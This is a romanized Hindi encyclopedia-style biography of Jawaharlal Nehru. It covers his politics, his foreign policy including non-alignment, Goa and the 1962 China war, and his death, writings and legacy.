1929 mean jab lahaur adhiveshan mean gaandhi ne neharoo ko adhyaksh pad ke lie chuna tha, tab se 35 varshoan tak- 1964 mean pradhanamantri ke pad par rahate hue mrityu tak, 1962 mean chin se harane ke bavajood, neharoo apane deshavasiyoan ke adarsh bane rahe. rajaniti ke prati unaka dharmanirapeksh ravaiya gaandhi ke dharmik aur paranparik drishtikon se bhinn tha. gaandhi ke vicharoan ne unake jivanakal mean bharatiy rajaniti ko bhramak roop se ek dharmik svaroop de diya tha. gaandhi dharmik rudhivadi pratit hote the, kintu vastutah vah samajik udaravadi the, jo hindoo dharm ko dharmanirapeksh banane ki cheshtha kar rahe the. gaandhi aur neharoo ke bich asali virodh dharm ke prati unake ravaiye ke karan nahian, balki sabhyata ke prati ravaiye ke karan tha. jahaan neharu lagatar adhunik sandarbh mean bat karate the. vahian gaandhi prachin bharat ke gaurav par bal dete the.
desh ke itihas mean ek aisa mauka bhi aya tha, jab mahatma gaandhi ko svatantr bharat ke pratham pradhanamantri pad ke lie saradar vallabhabhaee patel aur javaharalal neharoo mean se kisi ek ka chayan karana tha. lauh purush ke sakht aur bagi tevar ke samane neharoo ka vinamr rashtriy drishtikon bhari p da aur vah n sirph is pad par chune ge, balki unhean sabase lanbe samay tak vishv ke sabase vishal lokatantr ki bagador sanbhalane ka gaurav hasil bhi hua.
hindustan ek khoobasoorat aurat nahian hai. nange kisan hindustan haian. ve n to khoobasoorat haian, n dekhane mean achchhe haian- kyoanki garibi achchhi chij nahian hai, vah buri chij hai. isalie jab ap 'bharatamata' ki jay kahate haian- to yad rakhie ki bharat kya hai, aur bharat ke log nihayat buri halat mean haian- chahe ve kisan hoan, majadoor hoan, khudara mal bechane vale dookanadar hoan, aur chahe hamare kuchh naujavan hoan. javahar lal neharoo
bharatiy itihas ke pariprekshy mean neharu ka mahatv unake dvara adhunik jivan moolyoan aur bharatiy paristhatiyoan ke lie anukoolit vicharadharaoan ke ayat aur prasar ke karan hai. dharmanirapekshata aur bharat ki jatiy tatha dharmik vibhinnataoan ke bavajood desh ki maulik ekata par zor dene ke alava neharu bharat ko vaijnanik khojoan aur takaniki vikas ke adhunik yug mean le jane ke prati bhi sachet the. sath hi unhoanne apane deshavasiyoan mean nirdhanoan tatha achhootoan ke prati samajik chetana ki zaroorat ke prati jagarukata paida karane aur lokataantrik moolyoan ke prati samman paida karane ka bhi kary kiya. unhean apani ek upalabdhi par vishesh garv tha ki unhoanne prachin hindoo sivil kod mean sudhar karake aantatah uttaradhikar tatha sanpatti ke mamale mean vidhavaoan ko purushoan ke barabar adhikar pradan karavaya.
gutanirapeksh aandolan
aantarrashtriy star par neharoo ka sitara aktoobar 1956 tak bulandi par tha. 1956 mean soviyat sangh ke khilaf hangari ke vidroh ke dauran bharat ke ravaiye ke karan unake gutanirapeksh niti ki jamakar alochana huee. sanyukt rashtr mean bharat akela aisa gutanirapeksh desh tha, jisane hangari par akraman ke mamale mean soviyat sangh ke paksh mean mat diya. isake bad neharoo ko gutanirapeksh aandolan ke ahvan ki vishvaniyata sabit karane mean kafi mushkil huee. svatantrata ke aranbhik varshoan mean upaniveshavad ka virodh unaki videsh- niti ka mool adhar tha, lekin 1961 ke gutanirapeksh deshoan ke belagred sammelan tak neharoo ne pratiupaniveshavad ki jagah gutanirapekshata ko sarvochch prathamikata dena shuroo kar diya tha. 1962 mean lanbe samay se chale a rahe sima-vivad ke phalasvarup chin ne brahmaputr nadi ghati par hamale ki chetavani di. neharoo ne apani gutanirapeksh niti ko tak par rakhate hue pashchimi deshoan se sahayata ki maang ki aur chin ko pichhe hatana p da. neharoo ji ne kaha tha:-
sanskriti ka matalab hai- man aur atma ki vishalata aur vyapakata. isaka matalab dimag ko tang rakhana, ya adami ya mulk ki bhavana ko simit karana kabhi nahian hota.
kashmir, jis par bharat aur pakistan, donoan dava kar rahe the, neharoo ke pradhanamantritv kal mean lagatar ek samasya bana raha. sangharsh viram rekha ko samayojit karake is vivad ko nipatane ki unaki praranbhik koshishean nakam rahian aur 1948 mean pakistan ne balapoorvak kashmir par qabza ka asaphal prayas kiya. bharat mean bache aantim upanivesh, purtagali gova ki samasya ko sulajhane mean neharoo adhik bhagyashali rahe. yadyapi disanbar 1961 mean bharatiy senaoan dvara is par qabza kie jane se kee pashchimi deshoan mean narazagi paida huee. lekin neharoo ki karyavahi nyayasangat thi. neharoo ji ne kaha tha:-
shiksha ka uddeshy manushy ke man ko mukt karana hai, n ki use baandhe hue chaukhatoan mean band karana hai.
aangrezoan aur fraansisiyoan ke vapas chale jane ke bad bharat mean purtagali upanivesh ki upasthiti ek kaladosh banakar rah gee thi. aangrez aur faansisi donoan shaantipoorvak vapas chale ge the. agar purtagali jane ke lie taiyar nahian the, to neharoo ko unhean vahaan se hatane ka tariqa dhooandhana hi tha. pahale samajhane-bujhane ki koshishean ki geean, phir agast 1955 mean unhoanne nihatthe bharatiyoan ke ek samooh ko purtagali kshetr mean jakar ahiansak pradarshan ki anumati di. purtagaliyoan ne pradarshanakariyoan par goli chalakar 30 logoan ko mar dala, lekin neharoo ne chhah varshoan tak koee qadam nahian uthaya aur is bich purtagal ke pashchimi mitroan se yah apil karate rahe ki ve purtagali sarakar se yah upanivesh vapas dila dean. aantat: jab bharat ne hamala kiya, to neharoo ka dava tha ki unhoanne aur bharat sarakar ne kabhi bhi niti ke roop mean ahiansa ke prati pratibaddhata nahian jataee thi.
mantrimandal ka punargathan
pandit neharoo pahale rashtradhyaksh the, jinhoanne 1963 ee॰ mean roos, ianglaind tatha amerika ke bich aanshik paramanavik parikshan-nishedh sandhi par hastakshar kiye jane ka svagat kiya. uparant lokasabha ke kuchh upachunavoan mean kaangresi ummidavaroan ki viphalata ke karan kaangres dal ne unhean sujhav diya ki ve apane mantrimandal ka punargathan karean, taki kaangres ke kuchh ganyamany neta dal ko punargathit karane mean apana poorn samay de sakean. pandit neharoo ne apane mantrimandal ke sadasyoan ki sankhya kam kar di aur shri morar ji desaee tatha shri patil sarikhe apane purane sahayogiyoan ka tyagapatatr svikar kar liya. sath hi unhoanne ek chhote tatha thos mantrimandal ka gathan kiya. janavari 1964 ee॰ mean jab ve bhuvaneshvar kaangres adhiveshan mean bhag le rahe the, tabhi ve ganbhir roop se asvasth ho gaye. yadyapi kuchh dinoan ke lie unake svasthy mean tho da sudhar avashy hua.
bharat-chin yuddh
hiandi-chini bhaee-bhaee ka nara us samay bemani sabit ho gaya jab sima vivad ko lekar 10 aktoobar 1962 ko chini sena ne laddakh aur nefa mean bharatiy chaukiyoan par qabza kar liya. neharoo ne ise janaboojh kar ki gee karavaee bataya. navanbar mean ek bar phir chin ki or se hamale shuroo hue. halaanki chin ne ekatarafa yuddhaviram ki ghoshana kar di. tab tak 1300 se zyada bharatiy sainik mare ja chuke the. pandit neharoo ke kariyar ka yah sabase bura daur sabit hua. unaki sarakar ke khilaf sansad mean pahali bar avishvas prastav pesh kiya gaya.
mrityu
chin ke sath sangharsh ke kuchh hi samay bad neharoo ke svasthy mean giravat ke lakshan dikhaee dene lage. unhean 1963 mean dil ka halka daura p da, janavari 1964 mean unhean aur durbal bana dene vala daura p da. kuchh hi mahinoan ke bad tisare daure mean 27 mee 1964 mean unaki mrityu ho gee.
khyatilabdh lekhak
pandit neharoo ek mahan rajanitijn aur prabhavashali vakta hi nahian, khyatilabdh lekhak bhi the. unaki atmakatha 1936 ee॰ mean prakashit huee aur sansar ke sabhi deshoan mean usaka adar hua. unaki any rachanaoan mean bharat aur vishv, soviyat roos, vishv itihas ki ek jhalak, bharat ki ekata aur svatantrata aur usake bad vishesh ullekhaniy haian. inamean se antim do pustakean unake phutakar lekhoan aur bhashanoan ke sangrah haian.
moolyaankan
apani bharatiyata par zor dene vale neharoo mean vah hindoo prabhamandal aur chhavi kabhi nahian ubhari, jo gaandhi ke vyaktitatv ka aang thi. apane adhunik rajanitik aur arthik vicharoan ke karan vah bharat ke yuva buddhijiviyoan ko aangrezoan ke khilaf gaandhi ke ahiansak andolan ki or akarshit karane mean aur svatantrata ke bad unhean apane asapas banae rakhane mean saphal rahe. pashchim mean pale-badhe hone aur svatantrata ke pahale yooropiy yatraoan ke karan unake sochane ka dhang pashchimi saanche mean dhal chuka tha. 17 varshoan tak satta mean rahane ke dauran unhoanne lokataantrik samajavad ko disha-nirdeshak mana. unake karyakal mean sansad mean kaangres parti ke zabaradast bahumat ke karan vah apane lakshyoan ki or agrasar hote rahe. lokatantr, samajavad, ekata aur dharmanirapekshata unaki ghareloo niti ke char stanbh the. vah jivan bhar in char stanbhoan se sudridh apani imarat ko kafi had tak bachae rakhane mean kamayab rahe.
neharoo ki ikalauti santan iandira gaandhi 1966 se 1977 tak aur phir 1980 se 1984 tak bharat ki pradhanamantri rahian. iandira gaandhi ke bete rajiv gaandhi 1984 se 1989 tak pradhanamantri rahe.
bahari k diyaan
sambandhit liank
|
|
|
|